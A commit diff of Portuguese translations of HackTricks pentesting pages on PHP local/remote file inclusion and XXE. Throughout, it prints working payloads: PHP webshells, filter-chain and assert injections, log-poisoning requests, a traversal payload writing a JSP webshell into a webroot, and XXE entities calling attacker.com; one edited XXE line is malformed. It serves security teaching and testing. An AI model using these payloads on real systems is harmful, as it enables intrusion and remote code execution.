Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti

This commit is contained in:
Translator 2025-08-18 18:21:02 +00:00
parent c093d23cb4
commit 9af4e8a2c8
2 changed files with 135 additions and 58 deletions

View File

@ -4,8 +4,8 @@
## Inclusão de Arquivos
**Inclusão de Arquivos Remotos (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso está **desativado** por padrão (**allow_url_include**).\
**Inclusão de Arquivos Locais (LFI):** O servidor carrega um arquivo local.
**Inclusão de Arquivo Remoto (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso está **desativado** por padrão (**allow_url_include**).\
**Inclusão de Arquivo Local (LFI):** O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
@ -94,7 +94,7 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interprete os Resultados:** A resposta do servidor indica se a pasta existe:
3. **Interpretar os Resultados:** A resposta do servidor indica se a pasta existe:
- **Erro / Sem Saída:** A pasta `private` provavelmente não existe na localização especificada.
- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada.
4. **Exploração Recursiva:** Pastas descobertas podem ser investigadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
@ -113,7 +113,7 @@ Em PHP, várias representações de um caminho de arquivo podem ser consideradas
- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando-o `passwd/`) não muda o arquivo alvo.
- Da mesma forma, se `.php` for adicionado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo sendo acessado.
Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações da conta do usuário):
Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações da conta de usuário):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -152,7 +152,7 @@ Se por algum motivo **`allow_url_include`** está **Ativado**, mas o PHP está *
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> [!TIP]
> No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após a decodificação b64, essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
Outro exemplo **não usando o protocolo `php://`** seria:
@ -177,7 +177,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
## Java List Directories
Parece que se você tiver uma Path Traversal em Java e **pedir um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (até onde sei).
Parece que se você tiver uma Path Traversal em Java e **pedir um diretório** em vez de um arquivo, um **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (até onde sei).
## Top 25 parameters
@ -213,7 +213,7 @@ Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a
### php://filter
Os filtros PHP permitem realizar **operações básicas de modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
Os filtros PHP permitem realizar **operações de modificação básicas nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
@ -269,23 +269,23 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> A parte "php://filter" é insensível a maiúsculas e minúsculas
> A parte "php://filter" é sensível a maiúsculas e minúsculas
### Usando filtros php como oráculo para ler arquivos arbitrários
[**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica é baseada em uma **exfiltração booleana do arquivo (caractere por caractere) usando filtros php** como oráculo. Isso ocorre porque os filtros php podem ser usados para aumentar o texto o suficiente para que o php lance uma exceção.
[**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica é baseada em uma **exfiltração booleana do arquivo (caractere por caractere) usando filtros php** como oráculo. Isso ocorre porque os filtros php podem ser usados para aumentar um texto o suficiente para que o php lance uma exceção.
No post original, você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido:
- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente.
- Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php acionará um **erro**.
- O filtro **dechunk** irá **remover tudo se o primeiro caractere não for um hexadecimal**, então podemos saber se o primeiro caractere é hexadecimal.
- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja um caractere hexadecimal. Porque se for hexadecimal, dechunk não o deletará e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 desse codec a->b->c->d->e->f->g a letra não é mais um caractere hexadecimal, portanto dechunk não a deletou e o erro do php é acionado porque se multiplica com a bomba inicial.
- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja um caractere hexadecimal. Porque se for hexadecimal, o dechunk não o deletará e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 desse codec a->b->c->d->e->f->g a letra não é mais um caractere hexadecimal, portanto o dechunk não a deletou e o erro do php é acionado porque se multiplica com a bomba inicial.
- Usando outras transformações como **rot13** no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).
- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.
- O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de memória de ordem como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos caracteres e obter na primeira posição outras letras do texto.
- E para poder obter **mais dados** a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer com que **pivote com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
- O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos caracteres e obter na primeira posição outras letras do texto.
- E para poder obter **mais dados** a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer **pivotar com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
No post, uma ferramenta para realizar isso automaticamente também foi vazada: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -301,7 +301,7 @@ Você também pode usar **php://stdin, php://stdout e php://stderr** para acessa
### zip:// e rar://
Carregue um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
Para poder abusar do protocolo rar, **ele precisa ser ativado especificamente**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -370,9 +370,9 @@ phar-deserialization.md
### CVE-2024-2961
Foi possível abusar de **qualquer arquivo arbitrário lido do PHP que suporta filtros php** para obter um RCE. A descrição detalhada pode ser [**encontrada neste post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de blocos livres** de um tamanho específico para poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
Foi possível alocar blocos de tamanhos específicos abusando de mais filtros php.
Foi possível abusar de **qualquer arquivo arbitrário lido do PHP que suporte filtros php** para obter um RCE. A descrição detalhada pode ser [**encontrada neste post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de chunks livres** de um tamanho específico a fim de poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
Foi possível alocar chunks de tamanhos específicos abusando de mais filtros php.
### Mais protocolos
@ -382,10 +382,10 @@ Verifique mais possíveis [**protocolos para incluir aqui**](https://www.php.net
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de Compressão
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Streams de Compressão
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nomes de caminho que correspondem ao padrão (não retorna nada imprimível, então não é realmente útil aqui)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (não útil para ler arquivos arbitrários)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de áudio (não útil para ler arquivos arbitrários)
## LFI via 'assert' do PHP
@ -395,7 +395,7 @@ Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diret
```bash
assert("strpos('$file', '..') === false") or die("");
```
Enquanto isso visa impedir a travessia, inadvertidamente cria um vetor para injeção de código. Para explorar isso para ler o conteúdo de arquivos, um atacante poderia usar:
Embora isso tenha como objetivo impedir a travessia, inadvertidamente cria um vetor para injeção de código. Para explorar isso para ler o conteúdo de arquivos, um invasor poderia usar:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -403,39 +403,85 @@ Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
```plaintext
' and die(system("id")) or '
```
É importante **URL-encodar essas cargas**.
É importante **URL-encodar esses payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo**, mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) e o conteúdo não é exibido.
Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oracle de erro**.
Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via filtro PHP para **exfiltrar o conteúdo de um arquivo através de um oracle de erro**.
Em resumo, a técnica usa a **"codificação UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.
Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.
**Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo somente leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo de leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Para os detalhes técnicos, verifique o post mencionado!
Para os detalhes técnicos, confira o post mencionado!
## LFI2RCE
### Remote File Inclusion
### Escrita de Arquivo Arbitrário via Path Traversal (Webshell RCE)
Quando o código do lado do servidor que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um nome de arquivo ou URL) sem canonizá-lo e validá-lo, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma escrita de arquivo arbitrária. Se você puder colocar o payload em um diretório exposto na web, geralmente obtém RCE não autenticado ao soltar uma webshell.
Fluxo típico de exploração:
- Identifique uma primitiva de escrita em um endpoint ou trabalhador em segundo plano que aceita um caminho/nome de arquivo e escreve conteúdo no disco (por exemplo, ingestão orientada a mensagens, manipuladores de comando XML/JSON, extratores ZIP, etc.).
- Determine diretórios expostos na web. Exemplos comuns:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → solte `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → solte `shell.aspx`
- Crie um caminho de travessia que saia do diretório de armazenamento pretendido para o webroot e inclua seu conteúdo de webshell.
- Navegue até o payload solto e execute comandos.
Notas:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um ouvinte JMF XML na TCP 4004). O portal web principal (porta diferente) servirá seu payload mais tarde.
- Em pilhas Java, essas escritas de arquivo são frequentemente implementadas com simples concatenações de `File`/`Paths`. A falta de canonização/lista de permissão é a falha central.
Exemplo genérico estilo XML/JMF (os esquemas de produto variam o wrapper DOCTYPE/body é irrelevante para a travessia):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
```
Hardening que derrota essa classe de bugs:
- Resolva para um caminho canônico e garanta que seja um descendente de um diretório base na lista de permissões.
- Rejeite qualquer caminho contendo `..`, raízes absolutas ou letras de unidade; prefira nomes de arquivos gerados.
- Execute o escritor como uma conta de baixo privilégio e segmente diretórios de gravação de raízes servidas.
## Inclusão de Arquivo Remoto
Explicado anteriormente, [**siga este link**](#remote-file-inclusion).
### Via arquivo de log do Apache/Nginx
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell PHP como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo.
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell php como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo.
> [!WARNING]
> Note que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP lançará um erro** lá e **nada mais será executado**.
> Note que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP gerará um erro** lá e **nada mais será executado**.
>
> Além disso, certifique-se de **escrever corretamente a carga** ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
> Além disso, certifique-se de **escrever corretamente o payload** ou o PHP gerará um erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar URL codificado e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro deste cabeçalho.\
Isso também pode ser feito em outros logs, mas **tenha cuidado,** o código dentro dos logs pode estar codificado em URL e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
Outros possíveis caminhos de log:
```python
/var/log/apache2/access.log
@ -456,7 +502,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Via /proc/\*/fd/\*
1. Faça o upload de muitas shells (por exemplo: 100)
1. Faça upload de muitas shells (por exemplo: 100)
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser forçado por brute force) e $FD o descritor de arquivo (também pode ser forçado por brute force)
### Via /proc/self/environ
@ -468,7 +514,7 @@ User-Agent: <?=phpinfo(); ?>
```
### Via upload
Se você puder fazer o upload de um arquivo, basta injetar o payload da shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
Se você puder fazer o upload de um arquivo, basta injetar a carga útil do shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
@ -506,14 +552,14 @@ Se o ssh estiver ativo, verifique qual usuário está sendo utilizado (/proc/sel
### **Via** **vsftpd** _**logs**_
Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Local File Inclusion (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
Os logs para o servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Local File Inclusion (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
1. Injete um payload PHP no campo de nome de usuário durante o processo de login.
2. Após a injeção, utilize o LFI para recuperar os logs do servidor de _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
Como mostrado neste [link](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64), o filtro base64 do PHP simplesmente ignora o que não é base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
Como mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora Non-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -529,7 +575,7 @@ lfi2rce-via-php-filters.md
### Via falha de segmentação
**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma solicitação,** acione uma **falha de segmentação**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo.
**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** acione uma **falha de segmentação**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma **Inclusão de Arquivo Local** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **habilitar a sessão para você**. Você poderia abusar disso para obter RCE:
Se você encontrou uma **Inclusão de Arquivo Local** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **habilitar a sessão para você**. Você poderia abusar disso para obter RCE:
{{#ref}}
via-php_session_upload_progress.md
@ -561,9 +607,9 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + argumentos de URL
Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão nas imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
A seguinte solicitação cria um arquivo em `/tmp/hello.php` com o conteúdo `<?=phpinfo()?>`:
A seguinte requisição cria um arquivo em `/tmp/hello.php` com o conteúdo `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
@ -603,7 +649,7 @@ lfi2rce-via-eternal-waiting.md
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para gerar esse erro).
**Eu não sei como isso é útil, mas pode ser.**\
_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são excluídos._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -611,6 +657,8 @@ _Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP envia
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -9,14 +9,14 @@ XML é uma linguagem de marcação projetada para armazenamento e transporte de
- **Representação de Dados através de Entidades**: Entidades em XML permitem a representação de dados, incluindo caracteres especiais como `&lt;` e `&gt;`, que correspondem a `<` e `>` para evitar conflitos com o sistema de tags do XML.
- **Definindo Elementos XML**: XML permite a definição de tipos de elementos, delineando como os elementos devem ser estruturados e que conteúdo podem conter, variando de qualquer tipo de conteúdo a elementos filhos específicos.
- **Definição de Tipo de Documento (DTD)**: DTDs são cruciais no XML para definir a estrutura do documento e os tipos de dados que ele pode conter. Eles podem ser internos, externos ou uma combinação, orientando como os documentos são formatados e validados.
- **Entidades Personalizadas e Externas**: XML suporta a criação de entidades personalizadas dentro de um DTD para representação flexível de dados. Entidades externas, definidas com uma URL, levantam preocupações de segurança, particularmente no contexto de ataques de Entidade Externa XML (XXE), que exploram a forma como os parsers XML lidam com fontes de dados externas: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Detecção de XXE com Entidades de Parâmetro**: Para detectar vulnerabilidades XXE, especialmente quando métodos convencionais falham devido a medidas de segurança do parser, entidades de parâmetro XML podem ser utilizadas. Essas entidades permitem técnicas de detecção fora de banda, como acionar consultas DNS ou requisições HTTP para um domínio controlado, para confirmar a vulnerabilidade.
- **Entidades Personalizadas e Externas**: XML suporta a criação de entidades personalizadas dentro de um DTD para representação flexível de dados. Entidades externas, definidas com uma URL, levantam preocupações de segurança, particularmente no contexto de ataques de Entidade Externa XML (XXE), que exploram a forma como os analisadores XML lidam com fontes de dados externas: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Detecção de XXE com Entidades de Parâmetro**: Para detectar vulnerabilidades XXE, especialmente quando métodos convencionais falham devido a medidas de segurança do analisador, entidades de parâmetro XML podem ser utilizadas. Essas entidades permitem técnicas de detecção fora de banda, como acionar consultas DNS ou requisições HTTP para um domínio controlado, para confirmar a vulnerabilidade.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Principais ataques
[**A maioria desses ataques foi testada usando os incríveis laboratórios XEE da Portswigger: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
[**A maioria desses ataques foi testada usando os incríveis laboratórios XEE da Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### Teste de Nova Entidade
@ -68,7 +68,7 @@ Neste terceiro caso, observe que estamos declarando o `Element stockCheck` como
Em aplicações baseadas em **Java**, pode ser possível **listar o conteúdo de um diretório** via XXE com um payload como (apenas pedindo o diretório em vez do arquivo):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
@ -108,7 +108,7 @@ Os passos executados por este DTD incluem:
1. **Definição de Entidades de Parâmetro:**
- Uma entidade de parâmetro XML, `%file`, é criada, lendo o conteúdo do arquivo `/etc/hostname`.
- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP para o servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP ao servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
2. **Execução de Entidades:**
- A entidade `%eval` é utilizada, levando à execução da declaração dinâmica da entidade `%exfiltrate`.
- A entidade `%exfiltrate` é então usada, acionando uma requisição HTTP para a URL especificada com o conteúdo do arquivo.
@ -125,7 +125,7 @@ Este payload define uma entidade de parâmetro XML `%xxe` e a incorpora dentro d
### Baseado em Erro (DTD Externo)
**Neste caso, vamos fazer com que o servidor carregue um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
**Neste caso, vamos fazer o servidor carregar um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
Uma mensagem de erro de parsing XML, revelando o conteúdo do arquivo `/etc/passwd`, pode ser acionada usando um Documento Tipo de Definição (DTD) externo malicioso. Isso é realizado através dos seguintes passos:
@ -146,11 +146,11 @@ Ao ser executada, a resposta do servidor web deve incluir uma mensagem de erro e
_**Por favor, note que DTD externo nos permite incluir uma entidade dentro do segundo `eval`), mas isso é proibido no DTD interno. Portanto, você não pode forçar um erro sem usar um DTD externo (geralmente).**_
### **Baseado em Erro (system DTD)**
### **Baseado em Erro (DTD do sistema)**
E quanto às vulnerabilidades XXE cegas quando **interações fora da banda estão bloqueadas** (conexões externas não estão disponíveis)?
E quanto às vulnerabilidades XXE cegas quando **interações fora de banda estão bloqueadas** (conexões externas não estão disponíveis)?
Uma brecha na especificação da linguagem XML pode **expor dados sensíveis através de mensagens de erro quando o DTD de um documento mistura declarações internas e externas**. Este problema permite a redefinição interna de entidades declaradas externamente, facilitando a execução de ataques XXE baseados em erro. Esses ataques exploram a redefinição de uma entidade de parâmetro XML, originalmente declarada em um DTD externo, a partir de um DTD interno. Quando conexões fora da banda são bloqueadas pelo servidor, os atacantes devem confiar em arquivos DTD locais para conduzir o ataque, visando induzir um erro de análise para revelar informações sensíveis.
